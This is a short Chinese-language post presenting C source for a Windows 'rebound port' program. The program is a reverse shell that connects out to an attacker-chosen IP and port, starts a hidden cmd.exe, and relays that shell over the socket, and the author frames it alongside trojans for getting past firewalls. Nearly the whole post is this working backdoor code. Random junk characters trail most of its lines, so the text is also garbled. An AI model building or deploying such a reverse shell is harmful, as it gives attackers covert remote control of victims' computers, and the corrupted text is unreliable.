这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xwq {0jY
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/* ============================== J#"@~Q+a`@
Rebound port in Windows NT ~0eJ6i
By wind,2006/7 r1f##
===============================*/ !c/G'se
#include s'RE~,
#include XX+%:,G
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#pragma comment(lib,"wsock32.lib") "{Lp'+wNw
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void OutputShell(); ;.+sz(:hm
SOCKET sClient; I'm.+(1m,
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; WZ>
}
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void main(int argc,char **argv) p@ 0Va
{ iLD}>=
WSADATA stWsaData; 7Rwn{]r
int nRet; F[5[@y
SOCKADDR_IN stSaiClient,stSaiServer; eT0Yp
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if(argc != 3) J4EQhuQ
{ Bu$Z+o
printf("Useage:\n\rRebound DestIP DestPort\n"); S}WQ~e
return; jInI%
} hV_bm@f/y
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WSAStartup(MAKEWORD(2,2),&stWsaData); lcO;3CrJ!
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8cI<~|4_
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stSaiClient.sin_family = AF_INET; &?59{B.mD
stSaiClient.sin_port = htons(0); :(ni/,~Q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TL'^@Y7X5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) j6}/pe*;;T
{ O!xul$9
printf("Bind Socket Failed!\n"); N;gI %6
return; }&!fT\4
} -k(bM:
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stSaiServer.sin_family = AF_INET; \\}tD@V"
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); eb10=Lmj
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); e*K1";
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;tg9$P<85
{ ?o$ hlX
printf("Connect Error!"); J%r$jpd'
return; 3M~*4
} J?DJA2o
OutputShell(); 4TX~]tEyky
} Ts)ox}rYVm
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void OutputShell() HFlMx
{ ,0k3Qi%
char szBuff[1024]; 4@0y$Dv\
SECURITY_ATTRIBUTES stSecurityAttributes; x:dI :G
OSVERSIONINFO stOsversionInfo; n3x<L:)
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; BeFCt;
STARTUPINFO stStartupInfo; -aSj-
char *szShell; f~a]og5|G
PROCESS_INFORMATION stProcessInformation; iTUOJ3V7i
unsigned long lBytesRead; _e4%<!1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); q#pD}Xe$
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %OT} r
stSecurityAttributes.lpSecurityDescriptor = 0; #z$g1\v
stSecurityAttributes.bInheritHandle = TRUE; Cg#@JuwHa
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); s[2>r#M
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MbbKo-7F$
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); h_*!cuH
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }LYK:?_/
stStartupInfo.wShowWindow = SW_HIDE; I)s~kA.e
stStartupInfo.hStdInput = hReadPipe; KdN+$fe*g
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; pA?kv]l(
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GetVersionEx(&stOsversionInfo); C]dK/~Z#r
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switch(stOsversionInfo.dwPlatformId) ~3'}^V\
{ .^hk^r
case 1: "1I\~]]
szShell = "command.com"; @vHj>N
break; ,2>nr goM
default: 1[4
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szShell = "cmd.exe"; e]5
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break; E=3UaYr
} %Bxp
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'cgB$:T}.,
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send(sClient,szMsg,77,0); 4;;K1< 1
while(1) P[q 'Y^\
{ N$I@]PL
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BK*Bw,KQ<
if(lBytesRead) .G/>X%X
{ MdKkj[#
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~[[(_C3
send(sClient,szBuff,lBytesRead,0); )\3
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} J>w3>8!>7
else `2I<V7SF$
{ k\/idd[
lBytesRead=recv(sClient,szBuff,1024,0); qi51'@
if(lBytesRead<=0) break; #^i.[7p
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :@oy5zib
} i!KZg74V
} + $Yld{i
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return; IVY{N/ 3|
}